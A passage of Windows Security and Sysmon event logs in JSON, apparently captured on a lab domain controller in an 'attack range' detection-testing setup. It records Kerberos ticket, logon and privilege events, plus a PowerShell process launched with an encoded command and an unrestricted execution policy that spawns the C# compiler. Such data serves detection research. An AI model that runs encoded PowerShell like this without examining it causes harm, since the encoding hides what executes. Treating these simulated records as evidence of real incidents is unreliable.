Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{E09B936C-BA62-F5FA-D310-CFCEA6641D0F}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{E09B936C-BA62-F5FA-D310-CFCEA6641D0F}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222214,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{E09B936C-BA62-F5FA-D310-CFCEA6641D0F}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{E09B936C-BA62-F5FA-D310-CFCEA6641D0F}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222215,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x89E0C\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E09B936C-BA62-F5FA-D310-CFCEA6641D0F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x89e0c","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{E09B936C-BA62-F5FA-D310-CFCEA6641D0F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222216,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x89E0C\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x89e0c","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5698,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.806\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.806","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5699,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.806\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.806","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5700,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.817\r\nProcessGuid: {90617006-4172-5F2D-0000-00105D9E0800}\r\nProcessId: 4012\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nFileVersion: 4.7.2053.0 built by: NET47REL1\r\nDescription: Visual C# Command Line Compiler\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: csc.exe\r\nCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\4rw4wcql.cmdline\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4171-5F2D-0000-0020327D0800}\r\nLogonId: 0x87D32\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52\r\nParentProcessGuid: {90617006-4171-5F2D-0000-00100E8D0800}\r\nParentProcessId: 4580\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.817","ProcessGuid":"{90617006-4172-5F2D-0000-00105D9E0800}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","FileVersion":"4.7.2053.0 built by: NET47REL1","Description":"Visual C# Command Line Compiler","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"csc.exe","CommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\4rw4wcql.cmdline\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4171-5F2D-0000-0020327D0800}","LogonId":"0x87d32","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52","ParentProcessGuid":"{90617006-4171-5F2D-0000-00100E8D0800}","ParentProcessId":"4580","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5701,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.806\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-00100E8D0800}\r\nSourceProcessId: 4580\r\nSourceThreadId: 4020\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4172-5F2D-0000-00105D9E0800}\r\nTargetProcessId: 4012\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1ecb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1999|UNKNOWN(00007FF8EA6BC00F)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.806","SourceProcessGUID":"{90617006-4171-5F2D-0000-00100E8D0800}","SourceProcessId":"4580","SourceThreadId":"4020","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4172-5F2D-0000-00105D9E0800}","TargetProcessId":"4012","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1ecb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1999|UNKNOWN(00007FF8EA6BC00F)","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 